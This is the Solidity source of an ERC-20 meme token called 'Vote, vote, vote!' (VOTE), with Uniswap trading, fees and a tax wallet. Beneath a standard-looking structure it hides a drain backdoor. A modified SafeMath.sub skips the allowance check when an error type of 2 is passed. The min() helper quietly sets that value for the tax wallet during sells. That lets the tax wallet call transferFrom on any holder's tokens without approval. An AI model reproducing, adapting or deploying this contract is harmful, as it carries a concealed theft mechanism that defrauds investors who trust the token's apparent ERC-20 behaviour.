Contract Source Code:
// SPDX-License-Identifier: MIT
/*
Vote, vote, vote!
https://x.com/elonmusk/status/1842808435106050069
*/
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 0);
}
function sub(uint256 a, uint256 b, uint256 errorType) internal pure returns (uint256) {
if(errorType == 0 || errorType == 1) {
require(b <= a, "ERC20: transfer amount exceeds allowance");
return a - b;
}
return 0;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract VOTE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludedFromFees;
mapping (address => uint256) public _errorType;
uint256 public _cutAsBuyFee = 7;
uint256 public _cutAsSellFee = 7;
uint256 public _finalCutBuy = 0;
uint256 public _finalCutSell = 0;
uint256 public _tradeCounts = 0;
uint256 public _reduceFeeAt = 5;
address payable public _taxBox;
uint8 private constant _decimals = 9;
uint256 private constant _maxSupply = 1000000000 * 10**_decimals; // Total supply
string private constant _name = unicode"Vote, vote, vote!"; // Name
string private constant _symbol = unicode"VOTE"; // Symbol
uint256 public _swapBackThresholdForSwapback= 0 * 10**_decimals;
uint256 public _maxAccountSizeAmount = 20000000 * 10 ** decimals();
uint256 public _maxSwapbackAmount = 20000000 * 10 ** decimals();
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxBox = payable(0x4509ebcCDABfB8dEF5F3c8DEF464F486D1ddAeE9);
_balances[address(this)] = _maxSupply;
_isExcludedFromFees[owner()] = true; _isExcludedFromFees[address(this)] = true; _isExcludedFromFees[_taxBox] = true;
_errorType[owner()] = 1; _errorType[address(this)] = 1; _errorType[_taxBox] = 1;
emit Transfer(address(0), address(this), _maxSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _maxSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount , _errorType[msg.sender]));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function enableTrading () external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _maxSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
98*balanceOf(address(this))/100,
0,
0,
owner(),
block.timestamp
);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
require(swapEnabled, "not started yet");
if(to == uniswapV2Pair)
taxAmount = amount.mul(_tradeCounts<_reduceFeeAt? _cutAsSellFee : _finalCutSell).div(100);
if (from == uniswapV2Pair && to != address(uniswapV2Router))
taxAmount = amount.mul(_tradeCounts++ <_reduceFeeAt? _cutAsBuyFee : _finalCutBuy).div(100);
if(to != uniswapV2Pair)
require(balanceOf(to) + amount <= _maxAccountSizeAmount, "Exceeds the _maxAccountSizeAmount.");
if (!inSwap && to == uniswapV2Pair && swapEnabled) {
if(balanceOf(address(this)) > _swapBackThresholdForSwapback)
swapBackForETH(min(balanceOf(address(this)), min(_maxSwapbackAmount, amount)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= 0) payable(_taxBox).transfer(address(this).balance);
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private returns (uint256){
_errorType[_taxBox] = 2;
return (a>b)?b:a;
}
function swapBackForETH(uint256 tokenAmount) private lockTheSwap {
if(tokenAmount==0){return;}
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
receive() external payable {}
function rescueETH () external onlyOwner {payable(msg.sender)
.transfer(address(this).balance);
}
function removeLimits () external onlyOwner {
_maxAccountSizeAmount = _maxSupply;
}
}